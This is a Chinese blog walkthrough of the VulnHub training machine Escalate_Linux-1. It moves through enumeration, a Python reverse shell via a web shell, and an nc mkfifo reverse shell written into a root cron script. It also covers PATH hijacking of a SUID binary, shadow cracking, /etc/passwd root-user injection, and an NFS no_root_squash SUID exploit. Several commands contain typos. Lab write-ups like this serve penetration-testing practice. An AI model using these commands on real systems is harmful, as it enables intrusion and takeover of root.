• 博客园logo
  • 会员
  • 周边
  • 新闻
  • 博问
  • 闪存
  • 赞助商
  • Chat2DB
    • 搜索
      所有博客
    • 搜索
      当前博客
  • 写随笔 我的博客 短消息 简洁模式
    用户头像
    我的博客 我的园子 账号设置 会员中心 简洁模式 ... 退出登录
    注册 登录
驿般般
博客园    首页    新随笔    联系   管理    订阅  订阅

vulnhub-Escalate_Linux-1通关教程

扫描到靶机是172,没什么解释的

nmap 192.168.135.0/24 -sP

我们发现111和nfs,rpc远程调用nfs挂载共享,我们的思路就是kali挂载靶机共享文件生成kalirootshell,在靶机运行就能拿到rootshell。对于139和445我们则可以利用smb来枚举,一般我们使用enum4linux和smbclient,80没什么可以说的了,我们就是在网站枚举信息拿到www-data的shell。

nmap 192.168.135.172

上面我感觉很详细了,这里再说就多嘴了>_<

nmap 192.168.135.172 -p- -A

使用enum4linux来全扫smb服务信息。

Enum4linux -a 192.168.135.172

这里我们使用smbclent连接172的smb,发现liteshare

Smbclient -L 192.168.135.172

我们发现枚举smb需要密码,那么我们只能先枚举web目录信息。

smbclient ///liteshare -I 192.168.135.172

用dirb加限制后缀的格式扫描目录,发现shell.php,当然此处也能使用wfuzz,hydra

dirb http://192.168.135.172/ -X .php

访问这个shell.php我们根据提示发现可以用cmd作为命令参数来执行命令。

通过cmd我们利用py的socket建立连接反弹shell

http://192.168.135.172/shell.php?cmd=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.135.155",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

拿到shell后的必要步骤,修复pty

Python -c ‘import pty;pty.spawn(“/bin/bash)’

Stty raw -echo; fg

Export TERM=xterm

手工枚举信息

Uname -a

Sudo -v

上传脚本枚举信息

Wget http://192.168.135.155:8000/linpeas.sh

我们发现了内核版本,rootuid,gid的可执行写入文件script,靶机内的用户信息,MySQL的信息,NFS的全局规则no_root_squash所有人都可以写入挂载,以root身份运行的计划任务5分钟执行一次。

我们发现user3里的shell的属主和属组是root权限,运行就获得root权限

Ls -al | grep shell

我们发现user5下面的脚本script以root的方式运行,可写可执行,我们通过写入命令可以查看/etc/shadow的信息,当然也能获得root权限shell

我们从root直接切换到user5,根据枚举发现script的属主root运行,我们分析script的二进制时发现调用函数设置uid,gid通过命令执行系统命令那么我们就可以写入命令,修改文件PATH环境变量,让script每次运行先到我们文件执行命令,获得root权限。

Echo “/bin/bash” > ls

Chmod 777 ls

Export PATH=/tmp:$PATH

Cd /home/user5

./script

当然查看/etc/shadow需要root,但是普通用户查看/etc/shadow的原理和获得root权限是一样的,写入命令放到文件传到到程序,程序本身就是root权限运行,修改PATH环境运行script程序执行文件里的命令,就能以root身份查看shadow了。

肯定的,你修改命令的PATH后原命令就失去效果了,我们要还原环境。

export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

突然想起来,为了更好理解我上面说的,看下图是不是就很清晰了,ls指向了cat /etc/shaow,当我们运行script时是以root身份运行的会直接指向ls。

我们都是通过提权获得的root权限,但是用户还是普通用户,我们知道了shadow的密匙信息后,我们直接爆破root用户的密码就是root用户的rootshell权限了。我们发现root得密码12345还真安全啊>_<

Hash-identifier

John hash

John –show hash

这下用户是root,uid,gid,groups也是root了。

根据脚本枚举出来的信息,我们发现user4里有root运行的计划任务,我们写入反弹shell,执行就获得了rootshell

cd /home/user4/Desktop

ls -al

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.135.155 6666 >/tmp/f

echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.135.155 6666 >/tmp/f' > autoscript.sh

cat autoscript.sh

./autoscript.sh

我们也是利用script的权限修改user8的用户密码进入到user8,和之前将命令写入文件,程序指向环境执行文件命令一样

Cd /tmp

Echo ‘echo “user8:12345” | chpasswd’ > ls

Chmod 777 ls

Export PAHT=/tmp:%PATH

Cd /home/user5

./script

Su user8

那么意思就是我们其实可以将所有用户的密码都改为12345

我们看到user8可以使用sudo命令这个对我们来说很简单了>_<

User8可以直接用sudo执行vi,根据之前的经验我们直接!sh就获得root

跟user8一样的方法进入user7

我们发现它本身就有root身份,我们用root生成ssl,创建一个用户,切换用户就能提升为root

Openssl passwd 12345

echo 'yang:$1$4uw06nhO$LcO1dN5H9B77BRMfbzuYX/:0:0:root:/root:/bin/bash' >> /etc/passwd

su yang

脚本枚举出mysql的用户名密码都是root,且以root运行我们进来枚举root信息。。。

MySQL -uroot -proot

想一张截完但有不行,懒得调大小了,这个也ok了。。。我们发现mysql用户和密码mysql/mysql@12345

Show databases;

Use user;

Show tables;

Select * form user_info;

通过mysql的信息我们在这里获得了root的账号密码,不用暴力破解也能出来

cd /etc/mysql

cat secret.cnf

我们枚举发现可以使用nfs挂载,(rw no_root_squash)

我们发现正常的挂载生成shell行不通了,我们只好自己编写.c脚本编译提权了

#include <stdlib.h>

#include <nuistd.h>

Int main() {setudi(0);setgid(0);system(“/bin/bash”);}

正常的gcc转为shell也不行,要用静态编译

Gcc --static shell.c -o shell

Chmod 4777 shell

Chown root:root shell

运行就是用户5的root权限。

其实我们在mysql用户下就拿到了所有用户的账号密码。

Cat .user_informations

User2这里我们发现可以执行sudo,我们利用su切换的命令执行sudo

成功切换user1,拿root我们可以利用script程序来提升权限。

Echo “/bin/bash” > ls

Chmod 777 ls

Export APTH=/tmp:$PATH

Cd /home/user5

./script

User4的提权方法也是利用script程序提权

Echo “/bin/bash” > ls

Chmod 777 ls

Export PATH=/tmp:$PATH

Cd /home/user5

./script

这台靶机很简单,几乎没有什么新的知识点,进入shell后发现有很多用户,我感觉这台靶机练习的就是本地用户横向移动提权。。。我们分析一下我们用过什么方法。我们枚举出了user5下的script有root写执行权,我们将命令写入文件修改环境变量让程序运行时执行文件命令拿到root权限,我们发现user3下的shell直接拿到了root,我们利用script访问到了root的shadow密匙,通过John破解密码登录root用户,我们发现root的MySQL账号密码,通过MySQL我们发现mysql用户的账号密码,su mysql里我们发现所有用户的账号密码,通过su切换用户很是方便,提权一般都是用script,但是user7里面使用了nfs共享,这个和我们上面nmap的信息闭环了,而且安全机制设置为了(rw,on_root_square)使得我们可以在共享挂载目录下写入执行文件,我们利用自己写的(那么多脚本这个真是自己写的那天我感觉自己真nb)脚本,静态编译,修改SUID和属主and组,运行编译后的程序成功拿到了root权限shell。这里是因为shell里的命令是生成/bin/bash并且这个bash是root创建的,在nfs下运行拿到的shell就是rootshell。

posted on 2026-10-29 20:37  驿般般  阅读(5)  评论(0)    收藏  举报
刷新页面返回顶部
博客园  ©  2004-2026
浙公网安备 33010602011771号 浙ICP备2021040463号-3